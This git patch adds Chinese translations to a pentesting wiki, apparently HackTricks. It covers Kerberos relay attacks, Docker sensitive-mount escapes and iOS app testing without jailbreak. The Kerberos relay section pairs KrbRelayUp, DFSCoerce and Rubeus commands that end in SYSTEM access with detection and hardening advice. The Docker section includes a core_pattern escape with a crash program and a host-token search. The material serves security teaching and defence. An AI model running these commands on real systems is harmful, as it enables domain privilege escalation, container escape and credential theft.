From 2a6ac43cf0fcb85030b9a7e0cebf3026a953c1dc Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 11 May 2025 15:10:27 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- src/SUMMARY.md | 2 + ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 119 ++++++++++++++++-- .../sensitive-mounts.md | 62 +++++---- .../ios-pentesting-without-jailbreak.md | 71 +++++++++++ .../ios-pentesting/ios-testing-environment.md | 64 +++++----- 5 files changed, 255 insertions(+), 63 deletions(-) create mode 100644 src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0fee1721f..911b4b8bc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -316,6 +316,7 @@ - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md) - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md) - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md) + - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md) - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md) - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md) - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md) @@ -342,6 +343,7 @@ - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md) - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md) - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md) + - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md) - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md) - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md) - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 1de4b94f0..e7e11be44 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -15,13 +15,13 @@ ### Web 代理自动发现协议 (WPAD) - WPAD 允许浏览器自动发现代理设置。 -- 发现通过 DHCP、DNS 进行,如果 DNS 失败则回退到 LLMNR 和 NBT-NS。 +- 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来促进发现。 - Responder 可以自动化 WPAD 攻击,将客户端引导到恶意 WPAD 服务器。 ### Responder 用于协议中毒 - **Responder** 是一个用于中毒 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型选择性响应,主要针对 SMB 服务。 -- 它在 Kali Linux 中预装,可在 `/etc/responder/Responder.conf` 进行配置。 +- 它在 Kali Linux 中预装,可在 `/etc/responder/Responder.conf` 中配置。 - Responder 在屏幕上显示捕获的哈希并将其保存在 `/usr/share/responder/logs` 目录中。 - 它支持 IPv4 和 IPv6。 - Windows 版本的 Responder 可在 [这里](https://github.com/lgandx/Responder-Windows) 获取。 @@ -46,11 +46,11 @@ - Responder 将使用上述协议冒充服务,当用户尝试对伪造的服务进行身份验证时捕获凭据(通常是 NTLMv2 挑战/响应)。 - 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便于凭据破解。 -重要的是要注意,使用这些技术应合法和道德,确保获得适当的授权,避免干扰或未经授权的访问。 +重要的是要注意,使用这些技术应合法和道德,确保获得适当授权,避免干扰或未经授权的访问。 ## Inveigh -Inveigh 是一个针对 Windows 系统的渗透测试人员和红队成员设计的工具。它提供与 Responder 类似的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和说明可以在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。 +Inveigh 是一个针对 Windows 系统的渗透测试人员和红队成员设计的工具。它提供类似于 Responder 的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和说明可以在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。 Inveigh 可以通过 PowerShell 操作: ```bash @@ -69,7 +69,7 @@ Inveigh.exe #### 445 端口转发和隧道 -在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动加载的本地管理员访问时至关重要。 +在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动程序加载的本地管理员访问时至关重要。 PortBender 在 Cobalt Strike 中的设置和操作: ```bash @@ -87,10 +87,10 @@ beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` -### 其他 NTLM 中继攻击工具 +### NTLM 继电攻击的其他工具 - **Metasploit**: 配置代理、本地和远程主机详细信息。 -- **smbrelayx**: 一个用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。 +- **smbrelayx**: 用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。 - **MultiRelay**: Responder 套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。 每个工具都可以配置通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。 @@ -109,12 +109,115 @@ python MultiRelay.py -t -u ALL -d # Dump hashes ### 强制 NTLM 登录 -在 Windows 中,您**可能能够强制某些特权账户对任意机器进行身份验证**。请阅读以下页面以了解如何操作: +在 Windows 中,您**可能能够强制某些特权账户对任意机器进行身份验证**。请阅读以下页面以了解如何: {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} +## Kerberos 中继攻击 + +**Kerberos 中继攻击**从一个服务窃取 **AP-REQ 票证**,并将其重新用于共享 **相同计算机账户密钥** 的第二个服务(因为两个 SPN 位于同一 `$` 机器账户上)。即使 SPN 的 **服务类别不同**(例如 `CIFS/` → `LDAP/`),这也有效,因为解密票证的 *密钥* 是机器的 NT 哈希,而不是 SPN 字符串本身,SPN 字符串不是签名的一部分。 + +与 NTLM 中继不同,跳转仅限于 *同一主机*,但是,如果您针对允许您写入 LDAP 的协议,您可以链入 **基于资源的受限委派 (RBCD)** 或 **AD CS 注册**,并在一次操作中获取 **NT AUTHORITY\SYSTEM**。 + +有关此攻击的详细信息,请查看: + +- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) +- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) + +- 1. **Kerberos 基础知识** + +| 令牌 | 目的 | 中继相关性 | +|-------|---------|-----------------| +| **TGT / AS-REQ ↔ REP** | 向 KDC 证明用户 | 未触及 | +| **服务票证 / TGS-REQ ↔ REP** | 绑定到一个 **SPN**;使用 SPN 拥有者的密钥加密 | 如果 SPN 共享账户则可互换 | +| **AP-REQ** | 客户端将 `TGS` 发送到服务 | **我们窃取和重放的内容** | + +* 票证使用 **拥有 SPN 的账户的密码派生密钥** 加密。 +* AP-REQ 内的 **Authenticator** 有一个 5 分钟的时间戳;在该窗口内重放有效,直到服务缓存看到重复。 +* Windows 很少检查票证中的 SPN 字符串是否与您访问的服务匹配,因此 `CIFS/HOST` 的票证通常可以在 `LDAP/HOST` 上正常解密。 + +- 2. **中继 Kerberos 的条件** + +1. **共享密钥:** 源和目标 SPN 属于同一计算机账户(Windows 服务器的默认设置)。 +2. **无通道保护:** SMB/LDAP 签名关闭,HTTP/LDAPS 的 EPA 关闭。 +3. **您可以拦截或强制身份验证:** LLMNR/NBNS 中毒,DNS 欺骗,**PetitPotam / DFSCoerce RPC**,伪造 AuthIP,恶意 DCOM 等。 +4. **票证来源未被使用:** 您在真实数据包到达之前赢得比赛或完全阻止它;否则服务器的重放缓存会触发事件 4649。 +5. 您需要以某种方式能够在通信中执行 **MitM**,可能是 DNSAmins 组的一部分,以修改域的 DNS 或能够更改受害者的 HOST 文件。 + +### Kerberos 中继步骤 + +- 3.1 **侦察主机** +```powershell +# find servers where HTTP, LDAP or CIFS share the same machine account +Get-ADComputer -Filter * -Properties servicePrincipalName | +Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | +Select Name,servicePrincipalName +``` +- 3.2 **启动中继监听器** + +[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) +```powershell +# one-click local SYSTEM via RBCD +.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 +``` +`KrbRelayUp` 将 **KrbRelay → LDAP → RBCD → Rubeus → SCM 绕过** 包装在一个二进制文件中。 + +- 3.3 **强制 Kerberos 认证** +```powershell +# coerce DC to auth over SMB with DFSCoerce +.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 +``` +DFSCoerce使DC向我们发送Kerberos `CIFS/DC01`票证。 + +- 3.4 **中继AP-REQ** + +KrbRelay从SMB中提取GSS blob,将其重新打包为LDAP绑定,并将其转发到`ldap://DC01`——身份验证成功,因为**相同的密钥**解密了它。 + +- 3.5 **滥用LDAP ➜ RBCD ➜ SYSTEM** +```powershell +# (auto inside KrbRelayUp) manual for clarity +New-MachineAccount -Name "FAKE01" -Password "P@ss123" +KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID +Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt +SCMUACBypass.exe +``` +您现在拥有 **NT AUTHORITY\SYSTEM**。 + +### **值得了解的更多路径** + +| 向量 | 技巧 | 重要性 | +|--------|-------|----------------| +| **AuthIP / IPSec** | 假服务器发送 **GSS-ID 负载**,带有任何 SPN;客户端直接向您构建 AP-REQ | 即使跨子网也有效;默认情况下机器凭据 | +| **DCOM / MSRPC** | 恶意 OXID 解析器强迫客户端对任意 SPN 和端口进行身份验证 | 纯 *本地* 权限提升;绕过防火墙 | +| **AD CS Web Enroll** | 将机器票据中继到 `HTTP/CA` 并获取证书,然后 **PKINIT** 生成 TGT | 绕过 LDAP 签名防御 | +| **Shadow Credentials** | 写入 `msDS-KeyCredentialLink`,然后使用伪造的密钥对进行 PKINIT | 无需添加计算机帐户 | + +### **故障排除** + +| 错误 | 意义 | 修复 | +|-------|---------|-----| +| `KRB_AP_ERR_MODIFIED` | 票据密钥 ≠ 目标密钥 | 错误的主机/SPN | +| `KRB_AP_ERR_SKEW` | 时钟偏差 > 5 分钟 | 同步时间或使用 `w32tm` | +| LDAP 绑定失败 | 强制签名 | 使用 AD CS 路径或禁用签名 | +| 事件 4649 垃圾邮件 | 服务看到重复的身份验证器 | 阻止或竞争原始数据包 | + +### **检测** + +* 在几秒钟内,来自同一来源的 **Event 4769** 激增,针对 `CIFS/`、`HTTP/`、`LDAP/`。 +* 服务上的 **Event 4649** 表示检测到重放。 +* 来自 **127.0.0.1** 的 Kerberos 登录(中继到本地 SCM)高度可疑—通过 KrbRelayUp 文档中的 Sigma 规则进行映射。 +* 监视对 `msDS-AllowedToActOnBehalfOfOtherIdentity` 或 `msDS-KeyCredentialLink` 属性的更改。 + +## **加固** + +1. 在每台服务器上 **强制 LDAP 和 SMB 签名 + EPA**。 +2. **拆分 SPN**,使 HTTP 不与 CIFS/LDAP 在同一帐户上。 +3. 修补强制向量(PetitPotam KB5005413、DFS、AuthIP)。 +4. 设置 **`ms-DS-MachineAccountQuota = 0`** 以阻止恶意计算机加入。 +5. 对 **Event 4649** 和意外的回环 Kerberos 登录发出警报。 + ## 参考文献 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index c5f8eb030..37e8c9dc7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -暴露 `/proc`、`/sys` 和 `/var` 而没有适当的命名空间隔离会引入重大安全风险,包括攻击面扩大和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护,使得 `/host/proc` 没有保护。 +暴露 `/proc`、`/sys` 和 `/var` 而没有适当的命名空间隔离会引入重大安全风险,包括攻击面扩大和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改,或提供有助于进一步攻击的信息。例如,错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护,使得 `/host/proc` 处于未保护状态。 **您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** 中找到每个潜在漏洞的更多详细信息。** @@ -10,24 +10,36 @@ ### `/proc/sys` -该目录允许访问以修改内核变量,通常通过 `sysctl(2)`,并包含几个关注的子目录: +该目录允许访问以修改内核变量,通常通过 `sysctl(2)`,并包含几个值得关注的子目录: #### **`/proc/sys/kernel/core_pattern`** - 在 [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) 中描述。 -- 允许定义在生成核心文件时执行的程序,前 128 字节作为参数。如果文件以管道 `|` 开头,可能导致代码执行。 +- 如果您可以写入此文件,则可以写入一个管道 `|`,后跟将在崩溃发生后执行的程序或脚本的路径。 +- 攻击者可以通过执行 `mount` 找到主机中其容器的路径,并将路径写入其容器文件系统中的二进制文件。然后,崩溃一个程序以使内核在容器外执行该二进制文件。 + - **测试和利用示例**: - ```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入访问 +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序 -sleep 5 && ./crash & # 触发处理程序 +echo "|$overlay/shell.sh" > core_pattern # Set custom handler +sleep 5 && ./crash & # Trigger handler ``` +检查 [this post](https://pwning.systems/posts/escaping-containers-for-fun/) 以获取更多信息。 +崩溃的示例程序: +```c +int main(void) { +char buf[1]; +for (int i = 0; i < 100; i++) { +buf[i] = 1; +} +return 0; +} +``` #### **`/proc/sys/kernel/modprobe`** -- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中详细说明。 +- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。 - 包含内核模块加载器的路径,用于加载内核模块。 - **检查访问示例**: @@ -37,23 +49,23 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问 #### **`/proc/sys/vm/panic_on_oom`** -- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中引用。 +- 参考 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。 - 一个全局标志,控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。 #### **`/proc/sys/fs`** - 根据 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html),包含有关文件系统的选项和信息。 -- 写入访问可能会启用对主机的各种拒绝服务攻击。 +- 写入访问可能会启用针对主机的各种拒绝服务攻击。 #### **`/proc/sys/fs/binfmt_misc`** -- 允许根据其魔数注册非本地二进制格式的解释器。 +- 允许根据魔术数字注册非本地二进制格式的解释器。 - 如果 `/proc/sys/fs/binfmt_misc/register` 可写,可能导致特权升级或 root shell 访问。 -- 相关利用和解释: -- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) +- 相关漏洞和解释: +- [通过 binfmt_misc 的穷人根工具包](https://github.com/toffan/binfmt_misc) - 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### `/proc` 中的其他内容 +### 其他 `/proc` 中的内容 #### **`/proc/config.gz`** @@ -72,12 +84,12 @@ echo b > /proc/sysrq-trigger # 重启主机 #### **`/proc/kmsg`** - 暴露内核环形缓冲区消息。 -- 可以帮助内核利用、地址泄露,并提供敏感系统信息。 +- 可以帮助进行内核漏洞利用、地址泄漏,并提供敏感系统信息。 #### **`/proc/kallsyms`** - 列出内核导出的符号及其地址。 -- 对于内核利用开发至关重要,尤其是在克服 KASLR 时。 +- 对于内核漏洞开发至关重要,尤其是在克服 KASLR 时。 - 地址信息在 `kptr_restrict` 设置为 `1` 或 `2` 时受到限制。 - 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。 @@ -90,9 +102,9 @@ echo b > /proc/sysrq-trigger # 重启主机 #### **`/proc/kcore`** - 以 ELF 核心格式表示系统的物理内存。 -- 读取可能泄露主机系统和其他容器的内存内容。 +- 读取可能会泄露主机系统和其他容器的内存内容。 - 大文件大小可能导致读取问题或软件崩溃。 -- 详细用法见 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。 +- 详细用法见 [2019 年转储 /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。 #### **`/proc/kmem`** @@ -158,17 +170,17 @@ cat /output %%% #### **`/sys/firmware/efi/vars` 和 `/sys/firmware/efi/efivars`** - 暴露与 NVRAM 中的 EFI 变量交互的接口。 -- 配置错误或利用可能导致笔记本电脑砖化或主机无法启动。 +- 错误配置或利用可能导致笔记本电脑砖化或主机无法启动。 #### **`/sys/kernel/debug`** -- `debugfs` 提供了一个“无规则”的内核调试接口。 -- 由于其不受限制的特性,历史上存在安全问题。 +- `debugfs` 提供了一个“无规则”的调试接口给内核。 +- 由于其不受限制的性质,历史上存在安全问题。 ### `/var` 漏洞 主机的 **/var** 文件夹包含容器运行时套接字和容器的文件系统。 -如果该文件夹在容器内挂载,则该容器将获得对其他容器文件系统的读写访问权限 +如果该文件夹在容器内挂载,该容器将获得对其他容器文件系统的读写访问权限 并具有 root 权限。这可能被滥用以在容器之间进行切换,导致拒绝服务,或为其他 容器和在其中运行的应用程序设置后门。 @@ -217,7 +229,7 @@ REFRESH_TOKEN_SECRET=14ea / # echo '' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh are/nginx/html/index2.html ``` -XSS 是通过以下方式实现的: +XSS 已实现: ![通过挂载的 /var 文件夹存储的 XSS](/images/stored-xss-via-mounted-var-folder.png) @@ -227,7 +239,7 @@ XSS 是通过以下方式实现的: ##### 访问云凭证 -容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌,这允许容器获得对 K8s 或云的未经授权访问: +容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌,这使得容器能够获得对 K8s 或云的未经授权访问: ```bash / # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io /host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token @@ -238,7 +250,7 @@ XSS 是通过以下方式实现的: ``` #### Docker -在Docker(或Docker Compose部署)中的利用方式完全相同,只是通常其他容器的文件系统在不同的基础路径下可用: +在Docker(或Docker Compose部署)中的利用方式完全相同,唯一的区别是其他容器的文件系统通常在不同的基础路径下可用: ```bash $ docker info | grep -i 'docker root\|storage driver' Storage Driver: overlay2 diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md new file mode 100644 index 000000000..2c004fce8 --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -0,0 +1,71 @@ +# iOS Pentesting without Jailbreak + +{{#include ../../banners/hacktricks-training.md}} + +## 主要思想 + +使用 **entitlement `get_task_allow`** 签名的应用程序允许第三方应用程序运行一个名为 **`task_for_pid()`** 的函数,参数为初始应用程序的进程 ID,以便获取其任务端口(能够控制它并访问其内存)。 + +然而,这并不像简单地提取 IPA、使用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。 + +在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump),然后将其提取回设备上。尽管如此,如果可能的话,建议直接向客户请求解密后的 IPA。 + +## 获取解密的 IPA + +### 从 Apple 获取 + +1. 在 iPhone 上安装要进行渗透测试的应用程序 +2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) +3. 在你的 Mac 上打开 `Terminal`,并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。 +4. 你应该能看到你的 iOS 设备。双击它,然后点击顶部菜单栏中的 Add + → Apps。 +5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循了我的建议并已安装 IPA,将会出现提示要求你重新安装应用程序。 +6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`,你可以从那里获取它。 + +查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。 + +### 解密应用程序 + +为了解密 IPA,我们将安装它。然而,如果你有一部旧的越狱 iPhone,可能其版本不被应用程序支持,因为通常应用程序只支持最新版本。 + +因此,为了安装它,只需解压 IPA: +```bash +unzip redacted.ipa -d unzipped +``` +检查 `Info.plist` 以获取最低支持版本,如果您的设备早于该版本,请更改该值以使其受支持。 + +将 IPA 压缩回去: +```bash +cd unzipped +zip -r ../no-min-version.ipa * +``` +然后,使用以下命令安装IPA: +```bash +ideviceinstaller -i no-min-version.ipa -w +``` +请注意,您可能需要从 Cydia 安装 **AppSync Unified tweak** 以防止任何 `invalid signature` 错误。 + +安装后,您可以使用 Cydia 中的 **Iridium tweak** 来获取解密的 IPA。 + +### 修补权限和重新签名 + +为了使用 `get-task-allow` 权限重新签名应用程序,有几种可用的工具,如 `app-signer`、`codesign` 和 `iResign`。`app-signer` 具有非常用户友好的界面,可以非常轻松地重新签名 IPA 文件,指明要重新签名的 IPA、**将其设置为 `get-task-allow`** 以及要使用的证书和配置文件。 + +关于证书和签名配置文件,Apple 通过 Xcode 为所有账户提供 **免费的开发者签名配置文件**。只需创建一个应用并配置一个。然后,通过导航到 `Settings` → `Privacy & Security`,点击 `Developer Mode` 来配置 **iPhone 以信任开发者应用**。 + +使用重新签名的 IPA,现在可以将其安装到设备上进行渗透测试: +```bash +ideviceinstaller -i resigned.ipa -w +``` +### Hook + +您可以使用常见工具如 frida 和 objection 轻松地挂钩您的应用程序: +```bash +objection -g [your app bundle ID] explore + +``` +## 参考 + +- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 0357e0112..29fad9b00 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -4,14 +4,14 @@ ## Apple 开发者计划 -**Provisioning identity** 是与 Apple 开发者账户关联的一组公钥和私钥。为了**签名应用程序**,您需要支付**99$/年**注册**Apple 开发者计划**以获取您的 provisioning identity。没有这个,您将无法在物理设备上从源代码运行应用程序。另一个选择是使用**越狱设备**。 +一个 **provisioning identity** 是与 Apple 开发者账户关联的一组公钥和私钥。为了 **签名应用**,你需要支付 **99$/年** 注册 **Apple 开发者计划** 以获取你的 provisioning identity。没有这个,你将无法在物理设备上从源代码运行应用程序。另一个选择是使用 **越狱设备**。 -从 Xcode 7.2 开始,Apple 提供了创建**免费 iOS 开发 provisioning profile**的选项,允许您在真实的 iPhone 上编写和测试您的应用程序。前往 _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (添加新的 Appli ID 和您的凭据) --> _点击创建的 Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ -\_\_然后,为了在您的 iPhone 上运行应用程序,您首先需要**指示 iPhone 信任计算机。** 然后,您可以尝试**从 Xcode 在移动设备上运行应用程序,**但会出现错误。因此,前往 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 选择不受信任的配置文件并点击“**信任**”。 +从 Xcode 7.2 开始,Apple 提供了创建 **免费 iOS 开发 provisioning profile** 的选项,允许你在真实的 iPhone 上编写和测试你的应用。前往 _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (添加新的 Appli ID 及你的凭据) --> _点击创建的 Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ +\_\_然后,为了在你的 iPhone 上运行应用,你首先需要 **指示 iPhone 信任计算机。** 然后,你可以尝试 **从 Xcode 在移动设备上运行应用,** 但会出现错误。因此,前往 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 选择不受信任的配置文件并点击 "**Trust**"。 -请注意,**由相同签名证书签名的应用程序可以以安全的方式共享资源,例如钥匙串项**。 +请注意,**由相同签名证书签名的应用可以以安全的方式共享资源,例如钥匙串项目**。 -Provisioning profiles 存储在手机内的 **`/Library/MobileDevice/ProvisioningProfiles`** +配置文件存储在手机内的 **`/Library/MobileDevice/ProvisioningProfiles`** ## **模拟器** @@ -20,33 +20,33 @@ Provisioning profiles 存储在手机内的 **`/Library/MobileDevice/Provisionin ### **模拟器** -您需要知道的第一件事是,**在模拟器内进行渗透测试的限制要比在越狱设备上进行的要大得多**。 +你需要知道的第一件事是,**在模拟器内进行渗透测试的限制远大于在越狱设备上进行的限制**。 -构建和支持 iOS 应用程序所需的所有工具**仅在 Mac OS 上正式支持**。\ -Apple 用于创建/调试/插桩 iOS 应用程序的事实工具是**Xcode**。它可用于下载其他组件,例如**模拟器**和构建和**测试**您的应用程序所需的不同**SDK** **版本**。\ -强烈建议从**官方应用商店**下载 Xcode。其他版本可能携带恶意软件。 +构建和支持 iOS 应用所需的所有工具 **仅在 Mac OS 上正式支持**。\ +Apple 用于创建/调试/插桩 iOS 应用的事实标准工具是 **Xcode**。它可以用于下载其他组件,例如 **模拟器** 和不同的 **SDK** **版本**,以构建和 **测试** 你的应用。\ +强烈建议从 **官方应用商店** 下载 Xcode。其他版本可能携带恶意软件。 模拟器文件可以在 `/Users//Library/Developer/CoreSimulator/Devices` 中找到。 -要打开模拟器,请运行 Xcode,然后在 _Xcode 标签_ 中按 --> _Open Developer tools_ --> _Simulator_\ -\_\_在下图中,点击“iPod touch \[...\]”可以选择其他设备进行测试: +要打开模拟器,运行 Xcode,然后在 _Xcode 标签_ 中按 --> _Open Developer tools_ --> _Simulator_\ +\_\_在下图中点击 "iPod touch \[...\]" 你可以选择其他设备进行测试: ![](<../../images/image (270).png>) ![](<../../images/image (520).png>) -### 模拟器中的应用程序 +### 模拟器中的应用 -在 `/Users//Library/Developer/CoreSimulator/Devices` 中,您可以找到所有**已安装的模拟器**。如果您想访问在其中一个仿真器中创建的应用程序的文件,可能很难知道**应用程序安装在哪个仿真器中**。快速找到**正确的 UID**的方法是先在模拟器中执行应用程序,然后执行: +在 `/Users//Library/Developer/CoreSimulator/Devices` 中,你可以找到所有 **已安装的模拟器**。如果你想访问在其中一个仿真器内创建的应用的文件,可能很难知道 **应用安装在哪个仿真器中**。快速找到 **正确的 UID** 的方法是,在模拟器中执行应用并执行: ```bash xcrun simctl list | grep Booted iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) ``` -一旦你知道了 UID,可以在 `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` 中找到安装的应用程序。 +一旦你知道了 UID,安装在其中的应用可以在 `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` 中找到。 -然而,令人惊讶的是,你在这里找不到应用程序。你需要访问 `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`。 +然而,令人惊讶的是,你在这里找不到应用。你需要访问 `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`。 